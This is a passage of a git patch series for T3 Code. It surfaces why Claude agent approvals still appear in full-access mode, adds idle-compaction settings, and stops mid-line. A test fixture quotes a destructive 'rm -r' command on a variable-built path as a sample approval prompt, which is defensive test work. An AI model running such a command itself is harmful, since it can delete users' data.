a/apps/server/src/mcp/OrchestratorMcpService.ts b/apps/server/src/mcp/OrchestratorMcpService.ts index 78ad1a5d5c9a..edaa8777b422 100644 --- a/apps/server/src/mcp/OrchestratorMcpService.ts +++ b/apps/server/src/mcp/OrchestratorMcpService.ts @@ -988,7 +988,9 @@ function turnItemText(item: OrchestrationV2TurnItem): string | null { case "web_search": return jsonText({ patterns: item.patterns, results: item.results }); case "approval_request": - return item.prompt ?? item.requestKind; + return [item.prompt ?? item.requestKind, item.reason] + .filter((line): line is string => line !== undefined) + .join("\n"); case "checkpoint": return jsonText(item.files); case "run_interrupt_request": diff --git a/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.test.ts b/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.test.ts index aeb128bf6feb..b231fbfca9d9 100644 --- a/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.test.ts +++ b/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.test.ts @@ -588,6 +588,47 @@ describe("ClaudeAdapterV2 context usage", () => { }); }); +describe("ClaudeAdapterV2 approval presentation", () => { + it("marks asks that full access could not auto-allow and keeps the CLI's reason", () => { + const presentation = ClaudeAdapterV2.claudeApprovalPresentation({ + permissionMode: "bypassPermissions", + prompt: 'Claude wants to run rm -r -- "$rr/$h"', + callbackOptions: { + decisionReason: "\u001b[33mDangerous rm on a path built from a variable\u001b[39m", + suppressAlwaysAllowRule: true, + }, + }); + assert.deepEqual(presentation, { + reason: "Dangerous rm on a path built from a variable", + fullAccessOverride: "provider_check", + options: [ + { decision: "decline", label: "Decline" }, + { decision: "accept", label: "Approve" }, + ], + }); + }); + + it("attributes a bypass ask to the user's ask rule when one matched", () => { + const presentation = ClaudeAdapterV2.claudeApprovalPresentation({ + permissionMode: "bypassPermissions", + prompt: "Claude wants to run git push", + callbackOptions: { + matchedAskRule: { source: "userSettings", toolName: "Bash", ruleContent: "git push:*" }, + }, + }); + assert.deepEqual(presentation, { fullAccessOverride: "ask_rule" }); + }); + + it("adds nothing to ordinary approvals outside full access", () => { + const presentation = ClaudeAdapterV2.claudeApprovalPresentation({ + permissionMode: "default", + prompt: "Run make?", + callbackOptions: { decisionReason: "Run make?" }, + }); + assert.deepEqual(presentation, {}); + }); +}); + describe("ClaudeAdapterV2 session permissions", () => { // regression: #15892 an explicit user refusal must stay user_reject, not a tool failure it("keeps explicit user refusals classified as user_reject", () => { diff --git a/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.ts b/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.ts index 91e926cc85e9..5d3e9a567999 100644 --- a/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.ts +++ b/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.ts @@ -51,6 +51,7 @@ import type { } from "@anthropic-ai/claude-agent-sdk/sdk-tools"; // @effect-diagnostics-next-line nodeBuiltinImport:off -- the SDK takes a Node ChildProcess for the CLI. import * as NodeChildProcess from "node:child_process"; +import * as NodeUtil from "node:util"; import { parseCliArgs } from "@t3tools/shared/cliArgs"; import { fromLenientJson } from "@t3tools/shared/schemaJson"; import { AgentScope } from "@t3tools/shared/AgentScope"; @@ -87,6 +88,8 @@ import { type OrchestrationV2TurnItem, type OrchestrationV2WebSearchResult, type ProviderApprovalDecision, + type ProviderApprovalFullAccessOverride, + type ProviderApprovalOption, ProviderDriverKind, type ProviderInstanceId, type ProviderRequestKind, @@ -2827,6 +2830,45 @@ function parentToolUseIdFromSdkMessage(message: SDKMessage): string | null { : null; } +const CLAUDE_NO_STANDING_GRANT_OPTIONS = [ + { decision: "decline", label: "Decline" }, + { decision: "accept", label: "Approve" }, +] satisfies ReadonlyArray; + +export function claudeApprovalPresentation(input: { + readonly permissionMode: PermissionMode; + readonly prompt: string; + readonly callbackOptions: Pick< + Parameters[2], + "decisionReason" | "matchedAskRule" | "suppressAlwaysAllowRule" + >; +}): { + readonly reason?: string; + readonly fullAccessOverride?: ProviderApprovalFullAccessOverride; + readonly options?: ReadonlyArray; +} { + // The reason can carry terminal escapes from the CLI's own prompt renderer. + const reason = NodeUtil.stripVTControlCharacters( + input.callbackOptions.decisionReason ?? "", + ).trim(); + // Bypass auto-allows everything it can, so any ask that still reaches the + // callback is one bypass refused. The SDK drops the CLI's decision_reason_type, + // leaving the matched ask rule as the only way to tell the two causes apart. + const fullAccessOverride: ProviderApprovalFullAccessOverride | undefined = + input.permissionMode !== "bypassPermissions" + ? undefined + : input.callbackOptions.matchedAskRule === undefined + ? "provider_check" + : "ask_rule"; + return { + ...(reason === "" || reason === input.prompt ? {} : { reason }), + ...(fullAccessOverride === undefined ? {} : { fullAccessOverride }), + ...(input.callbackOptions.suppressAlwaysAllowRule === true + ? { options: CLAUDE_NO_STANDING_GRANT_OPTIONS } + : {}), + }; +} + export function permissionResultFromDecision(input: { readonly toolName: string; readonly decision: ProviderApprovalDecision; @@ -6347,6 +6389,7 @@ export const makeClaudeAdapterV2 = Effect.fn("makeClaudeAdapterV2")(function* ( readonly nativeRequestId: string; readonly requestKind: OrchestrationV2RuntimeRequest["kind"]; readonly prompt?: string; + readonly presentation?: ReturnType; readonly questions?: ReadonlyArray; }) { const createdAt = yield* DateTime.now; @@ -6431,6 +6474,7 @@ export const makeClaudeAdapterV2 = Effect.fn("makeClaudeAdapterV2")(function* ( requestId, requestKind: input.requestKind as ProviderRequestKind, ...(input.prompt === undefined ? {} : { prompt: input.prompt }), + ...input.presentation, } : { type: "user_input_request" as const, @@ -8918,6 +8962,11 @@ export const makeClaudeAdapterV2 = Effect.fn("makeClaudeAdapterV2")(function* ( nativeRequestId, requestKind, prompt, + presentation: claudeApprovalPresentation({ + permissionMode: context.queryPolicy.permissionMode, + prompt, + callbackOptions, + }), }); const decision = yield* Deferred.make(); yield* Ref.update(pendingRuntimeRequests, (current) => { diff --git a/apps/web/src/components/chat/ComposerBanner.tsx b/apps/web/src/components/chat/ComposerBanner.tsx index 123c82cc9339..01a93f0c6d3f 100644 --- a/apps/web/src/components/chat/ComposerBanner.tsx +++ b/apps/web/src/components/chat/ComposerBanner.tsx @@ -160,13 +160,18 @@ function Root({ density === "comfortable" && "[--composer-banner-padding-block:--spacing(1.25)]", density === "spacious" && "px-3 [--composer-banner-padding-block:--spacing(3)]", width === "content" ? "w-fit max-w-full flex-none" : "@container", - "[&>[data-composer-banner-row]:first-child>[data-slot=composer-banner-actions]>[data-slot=button]:last-child]:rounded-se-xl", - "[&>[data-composer-banner-row]:first-child>[data-slot=composer-banner-actions]>:last-child>[data-slot=button]:last-of-type]:rounded-se-xl", - "[&>:first-child>[data-composer-banner-row]:first-child>[data-slot=composer-banner-actions]>[data-slot=button]:last-child]:rounded-se-xl", - placement === "floating" && [ - "[&>[data-composer-banner-row]:only-child>[data-slot=composer-banner-actions]>[data-slot=button]:last-child]:rounded-ee-xl", - "[&>[data-composer-banner-row]:only-child>[data-slot=composer-banner-actions]>:last-child>[data-slot=button]:last-of-type]:rounded-ee-xl", + // A corner button nests inside the banner's radius only when the padding + // is tight; spacious padding already leaves the default radius concentric. + density !== "spacious" && [ + "[&>[data-composer-banner-row]:first-child>[data-slot=composer-banner-actions]>[data-slot=button]:last-child]:rounded-se-xl", + "[&>[data-composer-banner-row]:first-child>[data-slot=composer-banner-actions]>:last-child>[data-slot=button]:last-of-type]:rounded-se-xl", + "[&>:first-child>[data-composer-banner-row]:first-child>[data-slot=composer-banner-actions]>[data-slot=button]:last-child]:rounded-se-xl", ], + placement === "floating" && + density !== "spacious" && [ + "[&>[data-composer-banner-row]:only-child>[data-slot=composer-banner-actions]>[data-slot=button]:last-child]:rounded-ee-xl", + "[&>[data-composer-banner-row]:only-child>[data-slot=composer-banner-actions]>:last-child>[data-slot=button]:last-of-type]:rounded-ee-xl", + ], className, )} data-slot="composer-banner" diff --git a/apps/web/src/components/chat/ComposerPendingApprovalPanel.tsx b/apps/web/src/components/chat/ComposerPendingApprovalPanel.tsx index ccb2eeabe62b..9d700e222a4f 100644 --- a/apps/web/src/components/chat/ComposerPendingApprovalPanel.tsx +++ b/apps/web/src/components/chat/ComposerPendingApprovalPanel.tsx @@ -1,5 +1,12 @@ +import { + FULL_ACCESS_OVERRIDE_QUESTION, + fullAccessOverrideExplanation, +} from "@t3tools/client-runtime/state/thread-requests"; import { memo } from "react"; import { type PendingApproval } from "../../session-logic"; +import { InlineButton } from "../ui/button"; +import { Popover, PopoverPopup, PopoverTrigger } from "../ui/popover"; +import { composerFloatingLayerProps } from "./composerEventScope"; import { cn } from "~/lib/utils"; interface ComposerPendingApprovalPanelProps { @@ -44,6 +51,22 @@ export const ComposerPendingApprovalPanel = memo(function ComposerPendingApprova {fallbackLabel} {approval.appName ? {approval.appName} : null} + {approval.fullAccessOverride ? ( + + }> + {FULL_ACCESS_OVERRIDE_QUESTION} + + + {fullAccessOverrideExplanation(approval.fullAccessOverride)} + + + ) : null} {pendingCount > 1 ? ( 1/{pendingCount} ) : null} @@ -63,6 +86,11 @@ export const ComposerPendingApprovalPanel = memo(function ComposerPendingApprova ? "Provider process is gone — interrupt or restart the run to respond." : approval.detail || fallbackLabel} + {approval.reason ? ( + + {approval.reason} + + ) : null} ); }); diff --git a/packages/client-runtime/src/state/threadRequests.ts b/packages/client-runtime/src/state/threadRequests.ts index 3735869edb6b..d3fe73444966 100644 --- a/packages/client-runtime/src/state/threadRequests.ts +++ b/packages/client-runtime/src/state/threadRequests.ts @@ -2,6 +2,7 @@ import type { OrchestrationV2ThreadProjection, OrchestrationV2RuntimeRequest, OrchestrationV2UserInputQuestion, + ProviderApprovalFullAccessOverride, ProviderApprovalOption, ProviderApprovalDecision, ProviderRequestKind, @@ -33,11 +34,23 @@ export interface ThreadPendingApproval { readonly requestKind: ProviderRequestKind; readonly createdAt: string; readonly detail?: string; + readonly reason?: string; + readonly fullAccessOverride?: ProviderApprovalFullAccessOverride; readonly appName?: string; readonly options?: ReadonlyArray; readonly responseCapability: "live" | "not_resumable"; } +export const FULL_ACCESS_OVERRIDE_QUESTION = "Why am I being asked this?"; + +export function fullAccessOverrideExplanation( + override: ProviderApprovalFullAccessOverride, +): string { + return override === "ask_rule" + ? "Full access skips approvals, but an ask rule in the agent's own settings matches this action, so it still asks. Remove or narrow that rule to stop these prompts." + : "Full access skips approvals, but the agent still stops for a few safety checks of its own that no setting can skip, such as a delete whose path it can't verify. T3 Code can't turn these off, so check the request and approve it if it's what you expect."; +} + export interface ThreadUserInputQuestion extends Omit< OrchestrationV2UserInputQuestion, "multiSelect" @@ -119,6 +132,10 @@ export function derivePendingThreadRequests( requestKind: request.kind, createdAt: DateTime.formatIso(request.createdAt), ...(item?.type === "approval_request" && item.prompt ? { detail: item.prompt } : {}), + ...(item?.type === "approval_request" && item.reason ? { reason: item.reason } : {}), + ...(item?.type === "approval_request" && item.fullAccessOverride + ? { fullAccessOverride: item.fullAccessOverride } + : {}), ...(item?.type === "approval_request" && item.appName ? { appName: item.appName } : {}), ...(item?.type === "approval_request" && item.options !== undefined ? { options: item.options } diff --git a/packages/contracts/src/orchestrationV2.ts b/packages/contracts/src/orchestrationV2.ts index 42483d96fee5..fc211c946ec1 100644 --- a/packages/contracts/src/orchestrationV2.ts +++ b/packages/contracts/src/orchestrationV2.ts @@ -55,6 +55,7 @@ import { } from "./threadPullRequest.ts"; import { ProviderApprovalDecision, + ProviderApprovalFullAccessOverride, ProviderApprovalOption, ProviderInteractionMode, ProviderRequestKind, @@ -1429,6 +1430,8 @@ export const OrchestrationV2TurnItem = Schema.Union([ requestId: RuntimeRequestId, requestKind: ProviderRequestKind, prompt: Schema.optional(Schema.String), + reason: Schema.optional(Schema.String), + fullAccessOverride: Schema.optional(ProviderApprovalFullAccessOverride), appName: Schema.optional(Schema.String), options: Schema.optional(Schema.Array(ProviderApprovalOption)), }), @@ -2189,6 +2192,8 @@ export const OrchestrationV2TurnItemJson = Schema.Union([ requestId: RuntimeRequestId, requestKind: ProviderRequestKind, prompt: Schema.optional(Schema.String), + reason: Schema.optional(Schema.String), + fullAccessOverride: Schema.optional(ProviderApprovalFullAccessOverride), appName: Schema.optional(Schema.String), options: Schema.optional(Schema.Array(ProviderApprovalOption)), }), diff --git a/packages/contracts/src/providerPolicy.ts b/packages/contracts/src/providerPolicy.ts index 52e54bbf108e..e10a007e1025 100644 --- a/packages/contracts/src/providerPolicy.ts +++ b/packages/contracts/src/providerPolicy.ts @@ -56,6 +56,11 @@ export const ProviderApprovalDecision = Schema.Literals([ ]); export type ProviderApprovalDecision = typeof ProviderApprovalDecision.Type; +// Why an approval reached the user although the thread runs with full access: +// the user's own ask rule, or a check the provider enforces even when bypassed. +export const ProviderApprovalFullAccessOverride = Schema.Literals(["ask_rule", "provider_check"]); +export type ProviderApprovalFullAccessOverride = typeof ProviderApprovalFullAccessOverride.Type; + export const ProviderApprovalOption = Schema.Struct({ decision: ProviderApprovalDecision, label: TrimmedNonEmptyString, From d13fc846700e5bb7d63e1bfaabb1e55733912b21 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 12:47:35 -0700 Subject: [PATCH 022/130] feat(claude): idle compaction has a global default and per-instance overrides (#23037) Co-authored-by: Claude Opus 5.5 --- .../Adapters/ClaudeAdapterV2.ts | 14 ++++ .../orchestration-v2/IdleCompactionService.ts | 9 ++- .../provider/ProviderInstanceRegistry.test.ts | 1 + apps/web/src/components/ChatView.tsx | 5 ++ .../components/settings/SettingsPanels.tsx | 36 +++++++--- .../src/components/settings/settingsSearch.ts | 4 +- docs/user/composer.md | 7 +- docs/user/providers-claude.md | 10 +++ packages/contracts/src/settings.test.ts | 25 +++++++ packages/contracts/src/settings.ts | 66 ++++++++++++++++++- 10 files changed, 154 insertions(+), 23 deletions(-) diff --git a/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.ts b/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.ts index 5d3e9a567999..97ebde00ac27 100644 --- a/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.ts +++ b/apps/server/src/orchestration-v2/Adapters/ClaudeAdapterV2.ts @@ -97,6 +97,7 @@ import { type ProviderThreadId, type RunId, type ThreadId, + resolveIdleCompaction, } from "@t3tools/contracts"; import * as Cause from "effect/Cause"; @@ -133,6 +134,7 @@ import { type CompiledClaudeModelSelection, } from "../../claudeModelOptions.ts"; import * as ServerConfig from "../../config.ts"; +import * as ServerSettings from "../../serverSettings.ts"; import { expandHomePath } from "@t3tools/provider-core/server/pathExpansion"; import { spawnAndCollect } from "@t3tools/provider-core/server/snapshotProbe"; import { signalProcessGroup } from "@t3tools/provider-core/server/processGroup"; @@ -3886,6 +3888,7 @@ export const makeClaudeAdapterV2 = Effect.fn("makeClaudeAdapterV2")(function* ( adapterOptions: ClaudeAdapterV2Options, ) { const mcpSessions = yield* McpProviderSessions.McpProviderSessions; + const serverSettings = yield* Effect.serviceOption(ServerSettings.ServerSettingsService); const { attachmentsDir, fileSystem, path, crypto, idAllocator, queryRunner } = adapterOptions; const subagentModelCatalog = scopeClaudeModelCatalog( BUNDLED_CLAUDE_MODEL_CATALOG, @@ -9036,6 +9039,17 @@ export const makeClaudeAdapterV2 = Effect.fn("makeClaudeAdapterV2")(function* ( if (request.dialogKind !== "resume_return") { return { behavior: "cancelled" as const }; } + const idleCompaction = Option.isSome(serverSettings) + ? yield* serverSettings.value.getSettings.pipe( + Effect.map((settings) => + resolveIdleCompaction(settings, adapterOptions.instanceId), + ), + Effect.orElseSucceed(() => adapterOptions.settings.idleCompaction), + ) + : adapterOptions.settings.idleCompaction; + if (idleCompaction === "off") { + return { behavior: "completed" as const, result: "continue" as const }; + } const ageMinutes = typeof request.payload.sessionAgeMinutes === "number" && Number.isFinite(request.payload.sessionAgeMinutes) diff --git a/apps/server/src/orchestration-v2/IdleCompactionService.ts b/apps/server/src/orchestration-v2/IdleCompactionService.ts index 337188753f71..30c81ba70332 100644 --- a/apps/server/src/orchestration-v2/IdleCompactionService.ts +++ b/apps/server/src/orchestration-v2/IdleCompactionService.ts @@ -1,6 +1,7 @@ import { CommandId, MessageId, + resolveIdleCompaction, resolveProjectProviderInstanceEnabled, type RunId, type ThreadId, @@ -18,8 +19,9 @@ import * as Orchestrator from "./Orchestrator.ts"; import * as ProjectionStore from "./ProjectionStore.ts"; /** - * Beta: when a Claude run completes, waits until shortly before its prompt - * cache expires and sends `/compact` as a visible T3 Code turn. Timers live in + * Beta: when a run completes on a Claude instance set to compact before the + * cache expires, waits until shortly before its prompt cache expires and sends + * `/compact` as a visible T3 Code turn. Timers live in * memory, so a server restart skips compactions that were still waiting. */ export const make = Effect.gen(function* () { @@ -32,7 +34,6 @@ export const make = Effect.gen(function* () { // Loops once after the wait: the thread may have moved on. while (true) { const current = yield* settings.getSettings; - if (!current.compactIdleThreads) return; const records = yield* projections.getThreadRecords( threadId, [ @@ -47,6 +48,8 @@ export const make = Effect.gen(function* () { { messageRunIds: [runId], turnItemStatuses: ["pending", "running", "waiting"] }, ); if ( + resolveIdleCompaction(current, records.thread.providerInstanceId) !== + "beforeCacheExpires" || !resolveProjectProviderInstanceEnabled( current, records.thread.projectId, diff --git a/apps/server/src/provider/ProviderInstanceRegistry.test.ts b/apps/server/src/provider/ProviderInstanceRegistry.test.ts index f91e63047cc4..01a3bdc63b93 100644 --- a/apps/server/src/provider/ProviderInstanceRegistry.test.ts +++ b/apps/server/src/provider/ProviderInstanceRegistry.test.ts @@ -97,6 +97,7 @@ const makeClaudeConfig = (overrides: Partial): ClaudeSettings => customModels: [], launchArgs: "", autoCompactWindow: "", + idleCompaction: "default", ...overrides, }); diff --git a/apps/web/src/components/ChatView.tsx b/apps/web/src/components/ChatView.tsx index da367a88d0f6..e794426afbe6 100644 --- a/apps/web/src/components/ChatView.tsx +++ b/apps/web/src/components/ChatView.tsx @@ -70,6 +70,7 @@ import { type RunId, type RunAttemptId, ProviderInteractionMode, + resolveIdleCompaction, RuntimeMode, } from "@t3tools/contracts"; import { deriveThreadTitleSeed } from "@t3tools/client-runtime/operations"; @@ -4011,6 +4012,10 @@ export default function ChatView(props: ChatViewProps) { : null; const resumeCompactionTokens = activeContextWindow && + resolveIdleCompaction( + settings, + activeProviderInstanceId ?? ProviderInstanceId.make("claudeAgent"), + ) !== "off" && !resumeCompactionPermanentlyDismissed && !nativeResumeCompactionDismissed && !compactDisabled && diff --git a/apps/web/src/components/settings/SettingsPanels.tsx b/apps/web/src/components/settings/SettingsPanels.tsx index cdf7d6183905..5e9797f21d09 100644 --- a/apps/web/src/components/settings/SettingsPanels.tsx +++ b/apps/web/src/components/settings/SettingsPanels.tsx @@ -6,6 +6,7 @@ import { Link, useNavigate } from "@tanstack/react-router"; import { useEffect, useRef, useState } from "react"; import { type DesktopUpdateChannel, + IDLE_COMPACTION_MODES, ProviderDriverKind, type ProviderInstanceId, type SidebarProjectGroupingMode, @@ -997,11 +998,11 @@ export function GeneralSettingsPanel() { serverScoped settingKeys={["compactIdleThreads"]} {...searchableSetting("compact-idle-threads")} - description="Compact long idle Claude threads just before their prompt cache expires, so coming back costs less." + description="When to compact an idle Claude thread over 200,000 tokens: after you return, just before its prompt cache expires, or never. Each Claude provider can override this." resetAction={ settings.compactIdleThreads !== DEFAULT_UNIFIED_SETTINGS.compactIdleThreads ? ( updateSettings({ compactIdleThreads: DEFAULT_UNIFIED_SETTINGS.compactIdleThreads, @@ -1011,14 +1012,29 @@ export function GeneralSettingsPanel() { ) : null } control={ - - updateSettings({ compactIdleThreads: Boolean(checked) }) - } - aria-label="Compact idle Claude threads (beta)" - /> + } /> diff --git a/apps/web/src/components/settings/settingsSearch.ts b/apps/web/src/components/settings/settingsSearch.ts index 38737b2627b0..c7c5f26ae90d 100644 --- a/apps/web/src/components/settings/settingsSearch.ts +++ b/apps/web/src/components/settings/settingsSearch.ts @@ -338,10 +338,10 @@ export const SETTINGS_SEARCH_ITEMS = [ }, { id: "compact-idle-threads", - title: "Compact idle Claude threads (beta)", + title: "Compact idle threads", to: "/settings/general", scope: "environment-defaults", - searchTerms: ["context compaction idle cache tokens usage summary beta experimental"], + searchTerms: ["claude context compaction idle cache tokens usage summary resume"], }, { id: "auto-settle-merged-threads", diff --git a/docs/user/composer.md b/docs/user/composer.md index a784b625108c..67a8c0bc846c 100644 --- a/docs/user/composer.md +++ b/docs/user/composer.md @@ -239,11 +239,8 @@ Provider commands must start the message to run. T3 Code commands such as Send `/compact` in an existing conversation to reduce context usage when the provider supports it. Web and desktop also offer compaction from the context meter. -Enable **Compact idle Claude threads (beta)** in **Settings > General** to compact -an idle Claude thread with at least 200,000 tokens of context shortly before its -prompt cache expires, so coming back does not reprocess the whole conversation. -The cache lasts 1 hour on Claude subscriptions and 5 minutes with an API key. The -compaction appears in the thread as a `/compact` turn sent by T3 Code. +Claude instances can also compact idle threads for you. See +[compact long conversations](./providers-claude.md#compact-long-conversations). ## Goals diff --git a/docs/user/providers-claude.md b/docs/user/providers-claude.md index 344cffb47808..cd9c22c54281 100644 --- a/docs/user/providers-claude.md +++ b/docs/user/providers-claude.md @@ -57,6 +57,16 @@ history for that message. The cache lasts about an hour on a Claude subscription and 5 minutes with an API key, Bedrock, or Vertex. See [commands and skills](./composer.md#commands-and-skills) for using composer commands. +**Compact idle threads** in **Settings > General** controls this for threads +over 200,000 tokens. Each Claude provider's settings can override it: + +- **When you return** shows the **Compact** chip described above. This is the default. +- **Before the cache expires (beta)** compacts an idle thread shortly before its + prompt cache expires, so coming back does not reprocess the whole conversation. + The compaction appears in the thread as a `/compact` turn sent by T3 Code. +- **Never** skips idle compaction and Claude's resume prompt. **Auto-compact after** + still applies, and you can still compact by hand. + ## Usage limits If your Claude subscription runs out of usage mid-turn, the thread shows which diff --git a/packages/contracts/src/settings.test.ts b/packages/contracts/src/settings.test.ts index 9cce0c7e9703..fb25e1c18692 100644 --- a/packages/contracts/src/settings.test.ts +++ b/packages/contracts/src/settings.test.ts @@ -9,6 +9,7 @@ import { ClaudeSettings, DEFAULT_SERVER_SETTINGS, requiredScopesForProjectMutation, + resolveIdleCompaction, resolveProjectProviderInstanceEnabled, resolveProviderInstanceEnabled, ServerSettings, @@ -134,6 +135,30 @@ describe("custom model settings", () => { }); }); +describe("resolveIdleCompaction", () => { + it("lets a Claude instance override the global default", () => { + const settings = decodeServerSettings({ + compactIdleThreads: "off", + providerInstances: { + claude_work: { driver: "claudeAgent", config: { idleCompaction: "onReturn" } }, + claude_personal: { driver: "claudeAgent" }, + }, + }); + expect(resolveIdleCompaction(settings, ProviderInstanceId.make("claude_work"))).toBe( + "onReturn", + ); + expect(resolveIdleCompaction(settings, ProviderInstanceId.make("claude_personal"))).toBe("off"); + expect(resolveIdleCompaction(settings, ProviderInstanceId.make("claudeAgent"))).toBe("off"); + }); + + it("keeps the legacy beta switch's behavior", () => { + expect(decodeServerSettings({ compactIdleThreads: true }).compactIdleThreads).toBe( + "beforeCacheExpires", + ); + expect(decodeServerSettings({}).compactIdleThreads).toBe("onReturn"); + }); +}); + describe("ClientSettings notifications", () => { it("requires opt-in when existing settings omit notification preferences", () => { expect(decodeClientSettings({}).notificationMode).toBe("off"); diff --git a/packages/contracts/src/settings.ts b/packages/contracts/src/settings.ts index 620f659befea..67b850f2d7e7 100644 --- a/packages/contracts/src/settings.ts +++ b/packages/contracts/src/settings.ts @@ -6,6 +6,7 @@ import { type AuthEnvironmentScope, } from "./auth.ts"; import * as Effect from "effect/Effect"; +import * as Option from "effect/Option"; import * as Duration from "effect/Duration"; import * as Schema from "effect/Schema"; import * as SchemaTransformation from "effect/SchemaTransformation"; @@ -643,6 +644,34 @@ export type CodexSettings = typeof CodexSettings.Type; const CLAUDE_AUTO_COMPACT_WINDOW_PATTERN = /^(?:|[1-9]\d{5}|1000000)$/; +export const IDLE_COMPACTION_MODES = [ + { value: "onReturn", label: "When you return" }, + { value: "beforeCacheExpires", label: "Before the cache expires (beta)" }, + { value: "off", label: "Never" }, +] as const; +export const IdleCompactionMode = Schema.Literals(IDLE_COMPACTION_MODES.map((mode) => mode.value)); +export type IdleCompactionMode = typeof IdleCompactionMode.Type; + +// `compactIdleThreads` was a beta on/off switch for compacting before the cache expires. +const LegacyCompactIdleThreads = Schema.Boolean.pipe( + Schema.decodeTo( + IdleCompactionMode, + SchemaTransformation.transform({ + decode: (enabled): IdleCompactionMode => (enabled ? "beforeCacheExpires" : "onReturn"), + encode: (mode) => mode === "beforeCacheExpires", + }), + ), +); +const IdleCompactionModeSetting = Schema.Union([IdleCompactionMode, LegacyCompactIdleThreads]); + +const INSTANCE_IDLE_COMPACTION_MODES = [ + { value: "default", label: "Use default" }, + ...IDLE_COMPACTION_MODES, +] as const; +const InstanceIdleCompaction = Schema.Literals( + INSTANCE_IDLE_COMPACTION_MODES.map((mode) => mode.value), +); + export const ClaudeSettings = makeProviderSettingsSchema( { enabled: Schema.Boolean.pipe( @@ -694,9 +723,22 @@ export const ClaudeSettings = makeProviderSettingsSchema( }, }), ), + idleCompaction: InstanceIdleCompaction.pipe( + Schema.withDecodingDefault(Effect.succeed("default" as const)), + Schema.annotateKey({ + title: "Compact idle threads", + description: + "When to compact an idle thread over 200,000 tokens: after you return, just before its prompt cache expires, or never. Overrides the default in General settings.", + providerSettingsForm: { + control: "select", + options: INSTANCE_IDLE_COMPACTION_MODES, + clearWhenEmpty: "omit", + }, + }), + ), }, { - order: ["binaryPath", "homePath", "autoCompactWindow", "launchArgs"], + order: ["binaryPath", "homePath", "autoCompactWindow", "idleCompaction", "launchArgs"], }, ); export type ClaudeSettings = typeof ClaudeSettings.Type; @@ -1160,7 +1202,9 @@ export const ServerSettings = Schema.Struct({ sidebarAutoSettleAfterDays: Schema.NullOr(SidebarAutoSettleAfterDays).pipe( Schema.withDecodingDefault(Effect.succeed(DEFAULT_SIDEBAR_AUTO_SETTLE_AFTER_DAYS)), ), - compactIdleThreads: Schema.Boolean.pipe(Schema.withDecodingDefault(Effect.succeed(false))), + compactIdleThreads: IdleCompactionModeSetting.pipe( + Schema.withDecodingDefault(Effect.succeed("onReturn" as const)), + ), snoozeLimitedThreads: Schema.Boolean.pipe(Schema.withDecodingDefault(Effect.succeed(false))), autoResumeLimitedThreads: Schema.Boolean.pipe(Schema.withDecodingDefault(Effect.succeed(false))), sidebarAutoSettleKeepPullRequests: Schema.Boolean.pipe( @@ -1334,6 +1378,22 @@ export const resolveProjectProviderInstanceEnabled = ( : isUnconfiguredDefaultInstanceEnabled(instanceId); }; +const decodeClaudeSettings = Schema.decodeUnknownOption(ClaudeSettings); + +export const resolveIdleCompaction = ( + settings: Pick, + instanceId: ProviderInstanceId, +): IdleCompactionMode => { + const instance = Object.hasOwn(settings.providerInstances, instanceId) + ? settings.providerInstances[instanceId] + : undefined; + const override = decodeClaudeSettings(instance?.config ?? {}).pipe( + Option.map((config) => config.idleCompaction), + Option.getOrElse(() => "default" as const), + ); + return override === "default" ? settings.compactIdleThreads : override; +}; + export const ServerSettingsOperation = Schema.Literals([ "normalize", "check-exists", @@ -1475,7 +1535,7 @@ export const ServerSettingsPatch = Schema.Struct({ deviceHosts: Schema.optionalKey(SshDeviceHostConfigs), easDeviceHosts: Schema.optionalKey(EasDeviceHostConfigs), sidebarAutoSettleAfterDays: Schema.optionalKey(Schema.NullOr(SidebarAutoSettleAfterDays)), - compactIdleThreads: Schema.optionalKey(Schema.Boolean), + compactIdleThreads: Schema.optionalKey(IdleCompactionMode), sidebarAutoSettleKeepPullRequests: Schema.optionalKey(Schema.Boolean), sidebarAutoSettleOnMerge: Schema.optionalKey(Schema.Boolean), autoResumeLimitedThreads: Schema.optionalKey(Schema.Boolean), From c19d9977d483f8c661c9ad6bede0f1d8da517d31 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 13:23:38 -0700 Subject: [PATCH 023/130] perf(web): typing no longer re-renders the traits picker or attach button (#23040) Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/chat/ChatComposer.tsx | 167 +++++++++--------- apps/web/src/components/chat/TraitsPicker.tsx | 63 ++++--- .../chat/composerProviderState.test.tsx | 10 ++ .../components/chat/composerProviderState.tsx | 15 +- .../settings/ProjectDefaultsSettings.tsx | 2 - .../components/settings/SettingsPanels.tsx | 2 - .../settings/SourceControlWritingSettings.tsx | 4 - 7 files changed, 144 insertions(+), 119 deletions(-) diff --git a/apps/web/src/components/chat/ChatComposer.tsx b/apps/web/src/components/chat/ChatComposer.tsx index 106d84fd1257..18eea30efb31 100644 --- a/apps/web/src/components/chat/ChatComposer.tsx +++ b/apps/web/src/components/chat/ChatComposer.tsx @@ -290,6 +290,7 @@ import { renderProviderTraitsMenuContent, renderProviderTraitsPicker, } from "./composerProviderState"; +import { readPromptUltrathink } from "./TraitsPicker"; import { providerSupportsManualCompaction, resolveContextWindowModelDisplayName, @@ -2307,7 +2308,10 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) activePendingProgress.activeQuestion?.allowCustomAnswer !== false)); const composerFooterHasWideActions = showPlanFollowUpPrompt || activePendingProgress !== null; - const setPromptFromTraits = (nextPrompt: string) => { + const editPromptFromTraits = (edit: (prompt: string) => string) => { + const currentPrompt = getComposerDraft(composerDraftTarget)?.prompt ?? ""; + const nextPrompt = edit(currentPrompt); + if (nextPrompt === currentPrompt) return; if (nextPrompt === promptRef.current) { scheduleComposerFocus(); return; @@ -2319,7 +2323,8 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) setComposerTrigger(detectComposerTrigger(nextPrompt, nextPrompt.length)); scheduleComposerFocus(); }; - const setPromptFromTraitsStable = useStableCallback(setPromptFromTraits); + const editPromptFromTraitsStable = 